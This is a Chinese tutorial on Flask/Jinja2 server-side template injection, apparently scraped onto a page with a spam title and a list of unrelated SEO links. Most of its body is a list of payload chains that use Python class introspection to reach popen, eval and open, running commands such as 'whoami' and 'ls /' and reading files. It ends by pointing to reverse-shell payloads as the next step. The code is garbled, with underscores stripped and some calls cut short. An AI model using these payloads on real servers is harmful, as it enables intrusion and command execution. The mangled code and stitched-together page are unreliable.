当前位置: 首页 > news >正文

php网站编程今日新闻简讯30条

php网站编程,今日新闻简讯30条,网站建设要求 优帮云,建功能性网站SSTI漏洞注入 SSTI全称Server side template injection.服务端模板注入这节课主要讲flask的模板注入.flask会把类似于 的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞请注意 模板注入只会存在于二次渲染中,无二次渲染不会…

SSTI漏洞注入

SSTI全称Server side template injection.服务端模板注入这节课主要讲flask的模板注入.flask会把类似于 的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞请注意 模板注入只会存在于二次渲染中,无二次渲染不会出现模板注入。

注入过程

  1. 确定模板类型
    在这里插入图片描述
  2. 利用魔术方法寻找可命令执行的子类
    魔术方法:
    class 返回类型所属的对象
    mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    base 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
    subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    init 类的初始化方法
    globals 对包含函数全局变量的字典的引用
    寻找子类:
    Python3:
    使用file类读取文件的方法: <class ‘_frozen_importlib_external.FileLoader’>这个类索引号;
    利用os._warp_close类的 popen函数执行命令:
    [].class.mro[-1].subclasses()[128].init.globals’popen’.read()
    ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘import’.popen(‘whoami’).read()
    ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘eval’
    ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘eval’
    利用os._warp_close类的 open函数读取文件:
    ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘open’.read()
    Python2:
    利用 warnings.WarningMessage的 linecache执行命令:
    [].class.base.subclasses()[59].init.func_globals[‘linecache’].os.popen(‘whoami’).read()
    ().class.bases[0].subclasses()40.read()
    ().class.bases[0].subclasses()[75].init.globals[‘builtins’]‘eval’
    利用file类读取文件(python2特有):
    ().class.bases[0].subclasses()40.read()
    ().class.bases[0].subclasses()40.readlines()
    存在popen函数的类一般是 os._wrap_close
    [].class.mro[-1].subclasses()[128].init.globals[‘builtins’][‘eval’](‘import(“o”+“s”).popen(“ls /”).read()’)
    思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
    几个含有eval函数的类:
    warnings.catch_warnings
    WarningMessage
    codecs.IncrementalEncoder
    codecs.IncrementalDecoder
    codecs.StreamReaderWriter
    os._wrap_close
    reprlib.Repr
    weakref.finalize
  3. 构造PAYLOAD执行反弹SHELL等命令
    相关链接
http://www.15wanjia.com/news/27615.html

相关文章:

  • 网站建设栏目添加推特是谁的公司
  • 典型的b2b网站有哪些chrome手机版
  • 登录深圳住房和建设局网站个人如何在百度做广告
  • 网站制作要花多少钱中国人民银行网站
  • 网站建设模板的北京网站推广营销服务电话
  • 手机网站开发c 教程seo对各类网站的作用
  • 网站设计成手机武汉seo软件
  • 音乐播放器网站怎么做企业建站系统
  • 金坛区住房城乡建设局网站谷歌推广怎么操作
  • 做网站有现成的程序全网搜索软件
  • 网站建设通讯稿网络营销策略的特点
  • 供应链管理系统流程图哈尔滨网络推广优化
  • 做设计的素材网站网络客服
  • 免费微网站系统seo中国是什么
  • 建网站买空间做市场推广应该掌握什么技巧
  • 浏览量最大的网站网站seo提升
  • 企业网站seo优化外包网络推广客服好做吗
  • 哪里需要人做钓鱼网站野狼seo团队
  • 牡丹江建设银行网站网站推广上首页
  • 亚马逊中文官网抖音优化公司
  • 卖机票的网站怎么做知名网络推广
  • 做收集信息的网站产品营销方案
  • 邢台做网站推广服务微信朋友圈广告30元 1000次
  • 收藏网站 jsseo个人优化方案案例
  • 系统官网网站模板下载安装营销型网站建设流程
  • 可玩儿小程序代理关键词自动优化
  • 开发商城网站上海百度seo点击软件
  • 做电影网站许可证哪里有软件培训班
  • 长春做网站建设的公司神点击恶意点击软件
  • 公司网站备案需要什么资料网络营销的主要内容有哪些